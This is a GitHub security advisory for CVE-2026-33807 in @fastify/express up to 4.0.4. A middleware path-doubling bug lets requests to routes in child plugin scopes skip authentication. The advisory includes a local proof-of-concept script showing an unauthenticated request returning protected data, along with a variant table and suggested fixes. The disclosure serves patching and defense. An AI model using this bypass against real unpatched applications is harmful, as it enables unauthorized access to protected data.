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@fastify/express's middleware path doubling causes authentication bypass in child plugin scopes

Critical severity GitHub Reviewed Published Apr 15, 2026 in fastify/fastify-express • Updated Apr 16, 2026

Package

npm @fastify/express (npm)

Affected versions

<= 4.0.4

Patched versions

4.0.5

Description

Summary

@fastify/express v4.0.4 contains a path handling bug in the onRegister function that causes middleware paths to be doubled when inherited by child plugins. This results in complete bypass of Express middleware security controls for all routes defined within child plugin scopes that share a prefix with parent-scoped middleware. No special configuration is required — this affects the default Fastify configuration.

Details

The vulnerability exists in the onRegister function at index.js lines 92-101. When a child plugin is registered with a prefix, the onRegister hook copies middleware from the parent scope and re-registers it using instance.use(...middleware). However, the middleware paths stored in kMiddlewares are already prefixed from their original registration.

The call flow demonstrates the problem:

  1. Parent scope registers middleware: app.use('/admin', authFn)use() calculates path as '' + '/admin' = '/admin' — stores ['/admin', authFn] in kMiddlewares
  2. Child plugin registers with { prefix: '/admin' } — triggers onRegister(instance)
  3. onRegister copies parent middleware and calls instance.use('/admin', authFn) on child
  4. Child's use() function calculates path as '/admin' + '/admin' = '/admin/admin' — registers middleware with doubled path
  5. Routes in child scope use the child's Express instance, where middleware is registered under the incorrect path /admin/admin
  6. Requests to /admin/secret don't match /admin/admin — middleware is silently skipped

The root cause is in the use() function at lines 25-26, which always prepends this.prefix to string paths, combined with onRegister re-calling use() with already-prefixed paths.

PoC

const fastify = require('fastify');
const http = require('http');

function get(port, url) {
  return new Promise((resolve, reject) => {
    http.get('http://localhost:' + port + url, (res) => {
      let data = '';
      res.on('data', (chunk) => data += chunk);
      res.on('end', () => resolve({ status: res.statusCode, body: data }));
    }).on('error', reject);
  });
}

async function test() {
  const app = fastify({ logger: false });
  await app.register(require('@fastify/express'));
  
  // Middleware enforcing auth on /admin routes
  app.use('/admin', function(req, res, next) {
    if (!req.headers.authorization) {
      res.statusCode = 403;
      res.setHeader('content-type', 'application/json');
      res.end(JSON.stringify({ error: 'Forbidden' }));
      return;
    }
    next();
  });
  
  // Root scope route — middleware works correctly
  app.get('/admin/root-data', async () => ({ data: 'root-secret' }));
  
  // Child scope route — middleware BYPASSED
  await app.register(async function(child) {
    child.get('/secret', async () => ({ data: 'child-secret' }));
  }, { prefix: '/admin' });
  
  await app.listen({ port: 19876, host: '0.0.0.0' });
  
  // Root scope: correctly blocked
  let r = await get(19876, '/admin/root-data');
  console.log('/admin/root-data (no auth):', r.status, r.body);
  // Output: 403 {"error":"Forbidden"}
  
  // Child scope: BYPASSED — secret data returned without auth
  r = await get(19876, '/admin/secret');
  console.log('/admin/secret (no auth):', r.status, r.body);
  // Output: 200 {"data":"child-secret"}
  
  await app.close();
}
test();

Actual output:

/admin/root-data (no auth): 403 {"error":"Forbidden"}
/admin/secret (no auth): 200 {"data":"child-secret"}

Impact

Complete bypass of Express middleware security controls for all routes defined in child plugin scopes. Authentication, authorization, rate limiting, CSRF protection, audit logging, and any other middleware-based security mechanisms are silently skipped for affected routes.

  • No special request crafting is required — normal requests bypass the middleware
  • It affects the idiomatic Fastify plugin pattern commonly used in production
  • The bypass is silent with no errors or warnings
  • Developers' basic testing of root-scoped routes will pass, masking the vulnerability
  • Any child plugin scope that shares a prefix with middleware is affected

Applications using @fastify/express with path-scoped middleware and child plugins with matching prefixes are vulnerable in default configurations.

Affected Versions

  • @fastify/express v4.0.4 (latest at time of discovery)
  • Fastify 5.x in default configuration
  • No special router options required (ignoreDuplicateSlashes not needed)
  • Affects any child plugin registration where the prefix overlaps with middleware path scoping
  • Does NOT affect middleware registered without path scoping (global middleware)
  • Does NOT affect middleware registered on root path (/) due to special case handling

Variant Testing

Scenario Middleware Path Child Prefix Result
Root route /admin/root-data /admin N/A Middleware runs (403)
Child route /admin/secret /admin /admin BYPASS (200)
Child route /api/data /api /api BYPASS (200)
Nested child /admin/sub/data /admin /admin/sub BYPASS — path becomes /admin/sub/admin
Middleware on / with any child / /api No bypass — path === '/' && prefix.length > 0 special case

Suggested Fix

The onRegister function should store and re-use the original unprefixed middleware paths, or avoid re-calling the use() function entirely. Options include:

  1. Store the original path and function separately in kMiddlewares before prefixing
  2. Strip the parent prefix before re-registering in child scopes
  3. Store already-constructed Express middleware objects rather than re-processing paths

References

@climba03003 climba03003 published to fastify/fastify-express Apr 15, 2026
Published by the National Vulnerability Database Apr 15, 2026
Published to the GitHub Advisory Database Apr 16, 2026
Reviewed Apr 16, 2026
Last updated Apr 16, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(16th percentile)

Weaknesses

Interpretation Conflict

Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state. Learn more on MITRE.

CVE ID

CVE-2026-33807

GHSA ID

GHSA-hrwm-hgmj-7p9c

Credits

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